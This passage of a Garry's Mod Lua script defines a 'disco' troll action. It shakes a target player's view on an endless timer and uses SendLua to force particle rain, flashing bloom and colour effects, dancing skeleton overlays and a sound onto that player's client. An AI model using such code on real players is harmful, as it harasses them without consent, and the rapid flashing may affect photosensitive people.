  1087.         end
  1088.  
  1089.     end)
  1090. end)
  1091. ]=])
  1092. game.AddParticles( "particles/enigma.pcf" )
  1093. PrecacheParticleSystem("enigma")
  1094.  
  1095.  
  1096. --Disco time
  1097. lol:PushAction( 10, function( pPlayer )
  1098.     local idx = pPlayer:EntIndex()
  1099.     timer.Create( "beat".. idx, 0.42, 0, function()
  1100.         if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  1101.         pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  1102.     end )
  1103.  
  1104.  
  1105.     lol:SendLua( pPlayer, [[
  1106.         local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  1107.         local time = 0
  1108.  
  1109.         hook.Add( "Think", "wat", function()
  1110.             if CurTime() < time then
  1111.                 return
  1112.             end
  1113.  
  1114.             time = CurTime() +0.05
  1115.             for i = 1, 16 do
  1116.                 local part = emitter:Add(
  1117.                     "particles/balloon_bit",
  1118.                     LocalPlayer():GetPos() +Vector(
  1119.                         math.random( -256, 256 ),
  1120.                         math.random( -256, 256 ),
  1121.                         256
  1122.                     )
  1123.                 )
  1124.                
  1125.                 if part then
  1126.                     local Size = math.random( 4, 7 )
  1127.                    
  1128.                     part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  1129.                     part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  1130.                     part:SetDieTime( 4.5 )
  1131.                     part:SetGravity( Vector(40, 0, -250) )
  1132.                     part:SetLifeTime( 0 )
  1133.                     part:SetStartSize( Size /2 )
  1134.                     part:SetEndSize( Size )
  1135.                     part:SetCollide( true )
  1136.                 end
  1137.             end
  1138.         end )
  1139.     ]] )
  1140.  
  1141.     lol:SendLua( pPlayer, [[
  1142.         hook.Add( "RenderScreenspaceEffects", "wat", function()
  1143.             local sinScaler = math.sin( CurTime() )
  1144.             DrawBloom(
  1145.                 0,
  1146.                 3,
  1147.                 sinScaler *math.Rand(1, 8),
  1148.                 sinScaler *math.Rand(1, 8),
  1149.                 6,
  1150.                 math.Rand(0.5, 2),
  1151.                 math.Rand(0, 0.3),
  1152.                 math.Rand(0, 0.3),
  1153.                 math.Rand(0.5, 1)
  1154.             )
  1155.  
  1156.             DrawColorModify{
  1157.                 ["$pp_colour_addr"] = 0,
  1158.                 ["$pp_colour_addg"] = 0,
  1159.                 ["$pp_colour_addb"] = 00,
  1160.                 ["$pp_colour_brightness" ] = 0,
  1161.                 ["$pp_colour_contrast" ] = 1,
  1162.                 ["$pp_colour_colour" ] = 1,
  1163.                 ["$pp_colour_mulr" ] = 0,
  1164.                 ["$pp_colour_mulg" ] = 0,
  1165.                 ["$pp_colour_mulb" ] = 1
  1166.             }
  1167.         end )
  1168.  
  1169.         local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  1170.         mdl:SetNoDraw( true )
  1171.         local posCache, time = {}, 0
  1172.  
  1173.         hook.Add( "HUDPaint", "dance", function()
  1174.             if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  1175.                 local idx = mdl:LookupSequence("taunt_dance")
  1176.                 mdl.SeqDuration = mdl:SequenceDuration( idx )
  1177.                 mdl.SeqStart = CurTime()
  1178.                 mdl:ResetSequence( idx )
  1179.             end
  1180.  
  1181.             mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  1182.  
  1183.            
  1184.             local w, h = 300, 300
  1185.             local ang = Angle( 0, 0, 0 )
  1186.  
  1187.             for i = 1, 32 do
  1188.                 if CurTime() > time then
  1189.                     posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  1190.                 end
  1191.                 local x, y = posCache[i][1], posCache[i][2]
  1192.  
  1193.                 cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  1194.                     cam.IgnoreZ( true )
  1195.                     render.SuppressEngineLighting( true )
  1196.                    
  1197.                     render.SetLightingOrigin( mdl:GetPos() )
  1198.                     render.ResetModelLighting( 1, 1, 1 )
  1199.                     render.SetColorModulation( 0, 0, 1 )
  1200.  
  1201.                     mdl:DrawModel()
  1202.                    
  1203.                     render.SuppressEngineLighting( false )
  1204.                     cam.IgnoreZ( false )
  1205.                 cam.End3D()
  1206.             end
  1207.  
  1208.             if CurTime() > time then
  1209.                 time = CurTime() +0.15
  1210.             end
  1211.         end )
  1212.  
  1213.         surface.PlaySound( "vo/npc/male01/ohno.wav" )
  1214.     ]] )
  1215. end )
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